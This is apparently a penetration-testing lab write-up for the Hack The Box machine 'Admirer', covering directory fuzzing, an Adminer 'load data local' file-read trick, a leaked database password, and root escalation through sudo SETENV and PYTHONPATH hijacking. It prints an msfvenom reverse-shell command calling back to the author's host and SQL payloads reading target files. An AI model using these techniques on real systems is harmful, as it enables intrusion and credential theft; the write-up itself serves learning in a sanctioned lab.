Admirer starts off looking like an easy box, some say it is, some say it’s supposed to be medium, I just say it forces you to properly fuzz webapps. Then it also ends with a privesc vector that isn’t just a straight up CVE, forces you to properly read manuals and think of flaws in certain configurations.
Start off with putting the IP 10.10.10.187
in /etc/hosts
as admirer.htb
, then masscan,
masscan --rate=200 -e tun0 -p1-65535,U:1-65535 10.10.10.206 | tee masscan.out
...
cat masscan.out
Discovered open port 22/tcp on 10.10.10.187
Discovered open port 80/tcp on 10.10.10.187
Discovered open port 21/tcp on 10.10.10.187
Now nmap.
nmap -A -oA nmap -p21,22,80 10.10.10.187
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
# Nmap 7.80 scan initiated Wed Sep 23 14:22:11 2020 as: nmap -A -oA nmap -p21,22,80 10.10.10.187
Nmap scan report for admirer.htb (10.10.10.187)
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.12 (94%), Linux 3.13 (94%), Linux 3.16 (94%), Linux 3.18 (94%), Linux 3.8 - 3.11 (94%), Linux 4.4 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 327.93 ms 10.10.14.1
2 328.04 ms admirer.htb (10.10.10.187)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 23 14:22:33 2020 -- 1 IP address (1 host up) scanned in 21.88 seconds
We see right away there’s a disallowed dir, let’s look at the robots.txt
Trying to access /admin-dir
we get a 403.
So I tried to bypass the 403 by changing the request method, meddling with the HTTP header: User-Agent
, X-Forwarded-For
, Referer
, but all are blocked.
So then I tried to fuzz the /admin-dir
in order to find stuff in it, maybe we’re just not allowed to list the files in /admin-dir
but we can access the files in it directly.
ffuf -c -w /usr/share/wordlists/wfuzz/general/megabeast.txt -u http://10.10.10.187:80/admin-dir/FUZZ.txt | tee ffuf.out
...
contacts [Status: 200, Size: 350, Words: 19, Lines: 30]
Note that easy boxes usually have txt files, which is why I tried that extension. Anyway we found contacts.txt
.
We found contacts, but what we want are the creds as hinted by the robots.txt
fiile. We do see a naming convention here, which is simply name.txt, so then I tried to manually fuzz for this credentials file, and then I found it with credentials.txt
We got some creds now, let’s try the most obvious one, ftpuser
.
We got some files:
dump.sql
-- MySQL dump 10.16 Distrib 10.1.41-MariaDB, for debian-linux-gnu (x86_64)
--
-- Host: localhost Database: admirerdb
-- ------------------------------------------------------
-- Server version 10.1.41-MariaDB-0+deb9u1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Table structure for table `items`
--
DROP TABLE IF EXISTS `items`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `items` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`thumb_path` text NOT NULL,
`image_path` text NOT NULL,
`title` text NOT NULL,
`text` text,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8mb4;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `items`
--
LOCK TABLES `items` WRITE;
/*!40000 ALTER TABLE `items` DISABLE KEYS */;
INSERT INTO `items` VALUES (1,'images/thumbs/thmb_art01.jpg','images/fulls/art01.jpg','Visual Art','A pure showcase of skill and emotion.'),(2,'images/thumbs/thmb_eng02.jpg','images/fulls/eng02.jpg','The Beauty and the Beast','Besides the technology, there is also the eye candy...'),(3,'images/thumbs/thmb_nat01.jpg','images/fulls/nat01.jpg','The uncontrollable lightshow','When the sun decides to play at night.'),(4,'images/thumbs/thmb_arch02.jpg','images/fulls/arch02.jpg','Nearly Monochromatic','One could simply spend hours looking at this indoor square.'),(5,'images/thumbs/thmb_mind01.jpg','images/fulls/mind01.jpg','Way ahead of his time','You probably still use some of his inventions... 500yrs later.'),(6,'images/thumbs/thmb_mus02.jpg','images/fulls/mus02.jpg','The outcomes of complexity','Seriously, listen to Dust in Interstellar\'s OST. Thank me later.'),(7,'images/thumbs/thmb_arch01.jpg','images/fulls/arch01.jpg','Back to basics','And centuries later, we want to go back and live in nature... Sort of.'),(8,'images/thumbs/thmb_mind02.jpg','images/fulls/mind02.jpg','We need him back','He might have been a loner who allegedly slept with a pigeon, but that brain...'),(9,'images/thumbs/thmb_eng01.jpg','images/fulls/eng01.jpg','In the name of Science','Some theories need to be proven.'),(10,'images/thumbs/thmb_mus01.jpg','images/fulls/mus01.jpg','Equal Temperament','Because without him, music would not exist (as we know it today).');
/*!40000 ALTER TABLE `items` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2019-12-02 20:24:15
html.tar.gz
We see some quite a bit of new things in the archive.
robots.txt
w4ld0s_s3cr3t_d1r/credentials.txt
index.php
but it looks like the quotes are mismatchedutility-scripts/db_admin.php
After getting this many creds, I tried to manually stuff them to ftp and ssh, but none worked. There is a wordpress account though, so I tried to fuzz for a wordpress login portal, but I couldn’t find one. So then I just tried to fuzz for the fiels in this archive, maybe the files here are actually live on the webapp?
We did find the phpinfo file, then I tried to get to admin_tasks.php
because there’s a shell_exec
function in it.
After quite a bit of trial and error and googling, I don’t think you can do command injection here because it only accepts certain strings, and even though it’s using loose comparison (==
), sending data through HTTP makes you limited to just string and array data type. So I put this one on the side for now.
Then I tried to access db_admin.php
but it didn’t exist, all the other files in utility-script/
exists on the webapp except this one.
There’s a little TODO note here, maybe he got around to finishing it? Googling shows a tool called adminer. After a bit of reading, it’s basically just like phpmyadmin, except it sounds awfully similar to the box’s name.
After further reading, we know that adminer is only 1 single php file, abd it’s common to name it adminer.php
regardless of version, and it’s also usually put in the root folder of the webapp. So now we fuzz for this adminer.php
file, I did it manually.
admirer.htb/adminer.php
admirer.htb/admin-dir/adminer.php
admirer.htb/utility-scripts/adminer.php
We get a login page, try out all the creds we have so far, but none worked.
We did also got the version number (4.6.2) and wierdly enough there’s another version number beside it (4.7.7) probably indicating that the current installation is outdated. Googling got me this very detailed article about an LFI vulnerability.
The exploit is also an interesting one, because the cause of the vulnerability is the mysql protocol, not the adminer itself. So the scenario of the exploit is:
load data local
which would actually load files from the local machine, which is where adminer is located, which is our target machine, into the database that’s being used, which is our database. Essentially stealing their local files.So let’s create our database that listens to remote connections first. For me, I’m using the preinstalled mariadb from kali, so I edited the /etc/mysql/mariadb.conf.d/50-server.cnf
file, changing the bind_address
value from 127.0.0.1
to my htb IP.
Then you can use your root user, but I made a dummy user for this, and a dummy database for that user to scribble on.
create user 'dummy'@'%' identified by 'dummy';
create database dummy;
grant all privileges on dummy.* to dummy@'%';
Then I logged in with dummy:dummy
on adminer using the “dummy” database.
We are logged in! Now we’re going to use the sql command feature. I created a table to load the data into.
create table passwd(row varchar(255));
I tried to load /etc/passwd
into the table, the payload looks like this.
load data local infile '/etc/passwd'
into table dummy.passwd
fields terminated by '\n'
Which is why I named it “passwd”, but on executing it, we got an error.
So I guess we’re only limited to the webapp directory, which is maybe /var/www/html
? Not all hope is lost though, because from the html.tar.gz
archive, we know that there were creds in html/index.php
and html/utility-scripts/db_admin.php
.
So then I tried some stuff and tried to include the admin_tasks.php
file, and it worked.
I tried to grab it directly without paths and it worked, so now we know we’re in the utility-scripts
dir (should’ve known just from the url, duh). Let’s empty out the table and this time we’ll load in the index.php
file.
load data local infile '../index.php'
into table dummy.passwd
fields terminated by '\n'
It works! Then we scroll down a bit and find the real creds that are used for the webapp’s database.
Now we log out of our own database, change back bind_address
to 127.0.0.1
on our config file, stop the service, so that we’re not exposing ourselves anymore. Then on the victim’s machine we login to localhost with the creds we just got and use the “admirerdb” database.
The database looks like it doesn’t hold any sensitive data though, but we still got new creds (waldo:&<h5b~yK3F#{PaPB&dA}{H>
), so let’s stuff those again.
Nice, thanks to waldo using the same password on his database and his ssh, we skipped www-data and got user immediately, unexpected but very nice.
Get straight in, we got user’s password so I always go for sudo -l
, we found something.
I thought it’s going to be NOPASSWD
since it’s an easy box, but we got SETENV
which I’ve never heard of, so off to the manpages!
man sudoers
It says something about the -E
option, is that a sudo
option or something? We also saw env_reset
on sudo -l
output from before.
man sudo
Okay I guess it makes sense now, if you want to do sudo -E
you must have SETENV
in the sudoers file, if not then it’ll throw an error. So then I tried to sudo /opt/scripts/admin_tasks.sh
and sudo -E /opt/scripts/admin_tasks.sh
, but I don’t really see much difference, it only differs when I execute /opt/scripts/admin_tasks.sh
without sudo
, for certain tasks, it needs more privleges. So I tried to read this admin_tasks.sh
file and understand what it’s doing.
What I got from reading the file is
sudo
, we set our $EUID
to 0
/opt/scripts/backup.sh
We see that it belongs to admins
group which we are part of, but we don;t have write accessto the file so we can’t overwrite it, we also don’t have write access to the folder it’s in, so we can’t hijack a library that it’s using.
At this point, I was googling and trying out a bunch of stuff, from reading the python docs finding out the possible ways of hijacking a library, to trying out export EUID=0
thinking it’ll immediately give us root access, a lot of time has passed here.
Until I googled and got this nice article. I saw an interesting variable that was popping up quite often in my googling was also popping up in that article, and it’s PYTHONPATH
. Then I googled about this var, and it turns out that you’re supposed to put in paths in this var, and then python will look for libraries/modules inside that path first, this is perfect for library hijacking! The problem now is how do we fill in the value of this PYTHONPATH
var, so then I googled a bunch of stuff again, and tried things out myself.
I noticed that if I do sudo -E /opt/scripts/admin_tasks.sh
and tried to do the tasks that require $EUID = 0
, it didn’t work, because the env vars were preserved, and our old env has the $EUID
set to 1000
, which is our regular user uid, but if I tried sudo -E EUID=0 /opt/scripts/admin_tasks.sh
, our $EUID
is actually set to 0
, which means we can just give key=val
pairs and it will be exported into the environment variables when running sudo
on /opt/scripts/admin_tasks.sh
.
So here we go, first we make our evil library, I put it in /home/waldo
. I also added a dummy make_archive
function so that the function call wouldn’t throw an error.
Moment of truth.
sudo -E EUID=0 PYTHONPATH=/home/waldo /opt/scripts/admin_tasks.sh
We definitely got a root shell there, but it looks like the script immediately exited, killing our shell. Although we technically can just get the root flag right here, but no, I want a shell. So let’s try throwing a reverse shell to our machine, I’ll practice using msfvenom
while I’m at it.
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.3 LPORT=1234 > revshell.py
It looks like we’re supposed to run it with a unix shell, so we’ll just take the python code, since we’ll be running it with python directly, and here we go, moment of truth 2.
Of course not forgetting to listen for it beforehand,
and there it is, our lovely root shell.
Looking back now, I should’ve tried to password spray that ssh port first with all the usernames and passwords I was getting at that stage, could’ve missed an entry point there.
I also need to get used to using SecLists instead of the default wordlists that came with kali, as you can see there are only 2 matches of “adminer” in the wordlists dir and that’s not even in the fuzzing wordlist. But in SecLists you get a bunch of hits, even in the quickhits.txt
.
I also should work on my tunnelvision, I didn’t ran linpeas
until quite late in the privesc part, and I didn’t ran pspy
at all, luckily all linpeas
found was some mail, the mail did contain hints though, it was periodically running rm /home/waldo/*.p*
which should’ve been a hint about making a python file in our home directory, I thought *.p*
was a rabbit hole to get us to think it’s for .php
, oh well.
‹ Previous in Pentest: Remote | Next in Pentest: Cache › |